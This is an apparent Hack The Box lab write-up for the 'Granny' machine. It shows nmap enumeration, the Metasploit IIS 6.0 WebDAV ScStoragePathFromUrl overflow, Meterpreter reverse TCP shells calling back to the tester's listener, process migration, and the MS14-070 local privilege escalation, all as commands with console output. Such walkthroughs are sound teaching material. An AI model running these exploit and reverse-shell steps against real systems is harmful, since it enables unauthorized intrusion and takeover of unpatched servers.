Granny Writeup
Introduction :
Granny is an easy box windows box that was released back in April 2017.
Part 1 : Initial Enumeration
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Granny] → nmap -sC -sV 10.10.10.15
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-11 17:45 CET
Nmap scan report for 10.10.10.15
Host is up (0.036s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| Server Date: Mon, 11 Nov 2019 16:48:07 GMT
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_ WebDAV type: Unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
Part 2 : Getting User Access
As you can see we're dealing with IIS 6.0 which is an outdated version, with a ton of scripts for us to use, so let's fire up msfconsole :
msfconsole
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=[ metasploit v5.0.74-dev ]
+ -- --=[ 1969 exploits - 1088 auxiliary - 338 post ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
msf5 > update
[*] exec: update
[*] You have the latest version of Pwntools (4.0.1)
msf5 > search scstorage
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/iis/iis_webdav_scstoragepathfromurl 2017-03-26 manual Yes Microsoft IIS WebDav ScStoragePathFromUrl Overflow
msf5 > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > set RHOSTS 10.10.10.15
RHOSTS => 10.10.10.15
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Sending stage (180291 bytes) to 10.10.10.15
[*] Meterpreter session 1 opened (10.10.14.10:4444 -> 10.10.10.15:1036) at 2020-02-19 08:38:49 +0000
[*] Sending stage (180291 bytes) to 10.10.10.15
[*] Meterpreter session 2 opened (10.10.14.10:4444 -> 10.10.10.15:1037) at 2020-02-19 08:38:51 +0000
[-] Exploit aborted due to failure: bad-config: Server did not respond correctly to WebDAV request
[*] Exploit completed, but no session was created.
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > exploit
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (180291 bytes) to 10.10.10.15
[*] Meterpreter session 3 opened (10.10.14.10:4444 -> 10.10.10.15:1038) at 2020-02-19 08:39:22 +0000
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
208 348 logon.scr
272 4 smss.exe
324 272 csrss.exe
348 272 winlogon.exe
396 348 services.exe
408 348 lsass.exe
604 396 svchost.exe
676 396 svchost.exe
732 396 svchost.exe
776 396 svchost.exe
796 396 svchost.exe
932 396 spoolsv.exe
960 396 msdtc.exe
1080 396 cisvc.exe
1128 396 svchost.exe
1176 396 inetinfo.exe
1212 396 svchost.exe
1328 396 VGAuthService.exe
1408 396 vmtoolsd.exe
1456 396 svchost.exe
1504 3620 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe
1596 396 svchost.exe
1696 396 alg.exe
1824 604 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1908 396 dllhost.exe
2060 3620 svchost.exe x86 0 C:\WINDOWS\Temp\radA77E9.tmp\svchost.exe
2304 604 wmiprvse.exe
2380 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad64DF6.tmp\svchost.exe
2928 3620 svchost.exe x86 0 C:\WINDOWS\Temp\rad3C906.tmp\svchost.exe
3396 1080 cidaemon.exe
3440 1080 cidaemon.exe
3480 1080 cidaemon.exe
3620 1456 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe
3692 604 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe
and we get a reverse shell ! but we need to migrate to another process in order to escalate privileges : the process number 1824 looks interesting :
meterpreter > migrate 1824
[*] Migrating from 1504 to 1824...
[*] Migration completed successfully.
meterpreter > shell
Process 2080 created.
Channel 3 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>cd ../..
ccd ../..
C:\>d Documents And Settings
cd Documents And Settings
C:\Documents and Settings>cd Administrator
cd Administrator
Access is denied.
And as you can see, we still migrated to NT Authority, but we did not escalate our privileges enough.
Part 3 : Getting Root Access
C:\Documents and Settings>exit
meterpreter > background
[*] Backgrounding session 3...
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > search ms14_070
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms14_070_tcpip_ioctl 2014-11-11 average Yes MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set SESSION 3
SESSION => 3
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options
Module options (exploit/windows/local/ms14_070_tcpip_ioctl):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 3 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Server 2003 SP2
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set LHOST 10.10.14.10
LHOST => 10.10.14.10
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run
We'll use a local exploit on our backgrounded session, to see if we can escalate privileges.
[*] Started reverse TCP handler on 10.10.14.10:4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (180291 bytes) to 10.10.10.15
[*] Meterpreter session 4 opened (10.10.14.10:4444 -> 10.10.10.15:1039) at 2020-02-19 08:44:38 +0000
meterpreter > shell
[-] Unknown command: shell.
meterpreter > shell
Process 3108 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>meterpreter >
meterpreter > shell
Process 3140 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>cd c:\
cd c:\
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\
04/12/2017 04:27 PM <****DIR> ADFS
04/12/2017 04:04 PM 0 AUTOEXEC.BAT
04/12/2017 04:04 PM 0 CONFIG.SYS
04/12/2017 09:19 PM <****DIR> Documents and Settings
04/12/2017 04:17 PM <****DIR> FPSE_search
04/12/2017 04:17 PM <****DIR> Inetpub
12/24/2017 07:21 PM <****DIR> Program Files
12/24/2017 07:30 PM <****DIR> WINDOWS
04/12/2017 04:05 PM <****DIR> wmpub
2 File(s) 0 bytes
7 Dir(s) 18,090,029,056 bytes free
C:\>cd Documents and Settings
cdcd Documents and Settings
C:\Documents and Settingcd Administrator
cd Administrator
C:\Documents and Settings\Administrator>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings\Administrator
04/12/2017 08:48 PM <****DIR> .
04/12/2017 08:48 PM <****DIR> ..
04/12/2017 04:28 PM <****DIR> Desktop
04/12/2017 04:12 PM <****DIR> Favorites
04/12/2017 04:12 PM <****DIR> My Documents
04/12/2017 03:42 PM <****DIR> Start Menu
04/12/2017 03:44 PM 0 Sti_Trace.log
1 File(s) 0 bytes
6 Dir(s) 18,090,029,056 bytes free
C:\Documents and Settings\Administrator>cd Desktop
cd Desktop
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings\Administrator\Desktop
04/12/2017 04:28 PM <****DIR> .
04/12/2017 04:28 PM <****DIR> ..
04/12/2017 09:17 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 18,090,029,056 bytes free
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
aaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
C:\WINDOWS\system32>cd C:\Documents and Settings\Lakis\Desktop
cd C:\Documents and Settings\Lakis\Desktop
C:\Documents and Settings\Lakis\Desktop>type user.txt
type user.txt
70XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to root the box, getting both the user and the root flag in one go. :)
Conclusion
Here we can see the progress graph :
Nihilist
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